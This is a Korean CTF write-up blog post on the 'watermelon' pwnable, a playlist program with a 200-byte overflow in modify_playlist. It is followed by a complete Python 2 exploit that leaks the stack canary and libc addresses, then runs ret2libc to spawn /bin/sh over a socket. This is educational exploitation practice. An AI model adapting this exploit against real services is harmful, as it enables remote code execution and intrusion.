watermelon: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=155b637b98c19cff6d3fce40c52dfe301ef746b0, stripped
32bit 에서 돌아가는 바이너리이다.
해당 바이너리에는 NX, Stack Canary 가 존재한다.
위 바이너리는 간단한 음악 playlist 관리하는 프로그램이다.
ebp-113C 위치에서부터 number, music name, artist name 이 쭉 들어간다.
add_playlist() 함수 부분이다. music name 과 artist name을 21byte씩 입력받는 것을 볼 수 있다.
modify_playlist() 함수 부분이다. music name은 20byte를 받고 있지만 artist name 부분은 200byte 만큼 받는다.
이 부분이 취약점이 터지는 부분이다.
=> playlist 는 100개를 만들 수 있는데, playlist를 100개 만들고, number의 artist 를 200byte 만큼 쓰게되었을 때 ret 주소를 덮어쓸 수 있다. view_playlist() 함수에서 canary 값을 leak 하고 난 후, ret 함수를 통해 libc 주소를 구해야 한다.
이 과정에서 libc 주소를 구한 후 다시 main 시작 주소로 루틴을 변경하여 RTL 공격을 하면된다.
요즘 느끼는건데 pwntool 로 짠 코드에 비해 exploit 코드가 상당히 지저분하고 길다.. pwntool 공부를 할 필요성이 느껴진다.
- - - - - - - - - - - - - - - - - - - - - - - - - - -exploit.py - - - - - - - - - - - - - - - - - - - - - - - - - - - -
from struct import *
from socket import *
from telnetlib import *
import time
import hexdump
p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]
printf_plt = 0x08048500
printf_got = 0x0804c010
main = 0x08049490
printf_offset = 0x4d410
system_offset = 0x40310
binsh_offset = 0x16084c
payload = "A"*64
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.162', 11114))
print s.recv(1024)
s.send("woosunbi\n")
time.sleep(0.3)
print s.recv(4096)
for i in range(0, 100):
s.send("1\n")
print s.recv(1024)
s.send(str(i) + "\n")
s.send(str(i) + "\n")
time.sleep(0.3)
print s.recv(1024)
s.send("3\n")
time.sleep(0.3)
print s.recv(102400)
s.send("99\n")
print s.recv(1024)
s.send("1\n")
print s.recv(1024)
s.send(payload + "\n")
print s.recv(1024)
s.send("2\n")
time.sleep(1)
leak_data1 = s.recv(1024000)
#hexdump.hexdump(leak_data1)
# canary leak
canary = up(str(str('\x00') + leak_data1[11194:11197]))
print "[*] canary = " + hex(canary)
payload_1 = "A"*64 + p(canary) + "A"*12
payload_1 += p(printf_plt) + p(main) + p(printf_got)
s.send("3\n")
time.sleep(0.3)
print s.recv(1024000)
s.send("99\n")
time.sleep(0.3)
print s.recv(102400)
s.send("1\n")
print s.recv(1024)
s.send(payload_1 + "\n")
time.sleep(0.3)
print s.recv(10240)
s.send("4\n")
time.sleep(0.3)
leak_data2 = s.recv(10240)
printf_libc = up(leak_data2[72:76])
print "[*] printf_libc = " + hex(printf_libc)
system_libc = printf_libc - printf_offset + system_offset
print "[*] system_libc = " + hex(system_libc)
binsh_addr = printf_libc - printf_offset + binsh_offset
print "[*] /bin/sh addr = " + hex(binsh_addr)
print leak_data2
# exploit
payload_2 = "A"*64 + p(canary) + "A"*20
payload_2 += p(system_libc) + "AAAA" + p(binsh_addr)
s.send("woosunbi\n")
time.sleep(0.3)
print s.recv(1024)
for j in range(0, 100):
s.send("1\n")
print s.recv(1024)
s.send(str(j) + "\n")
s.send(str(j) + "\n")
time.sleep(0.3)
print s.recv(1024)
s.send("3\n")
time.sleep(0.3)
print s.recv(102400)
s.send("99\n")
time.sleep(0.3)
print s.recv(1024)
s.send("1\n")
print s.recv(1024)
s.send(payload_2 + "\n")
print s.recv(1024)
s.send("4\n")
t = Telnet()
t.sock = s
t.interact()
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'ctf' 카테고리의 다른 글
[CodeGate 2016 CTF] Fl0ppy (0) | 2016.12.21 |
---|---|
[HolyShield 2016 CTF] pwnit (0) | 2016.12.19 |
[SECCON 2016 CTF] cheer_msg (0) | 2016.12.12 |
[CodeGate 2015 CTF] bookstore (0) | 2016.11.14 |
[CodeGate 2015 CTF] systemshock (0) | 2016.07.30 |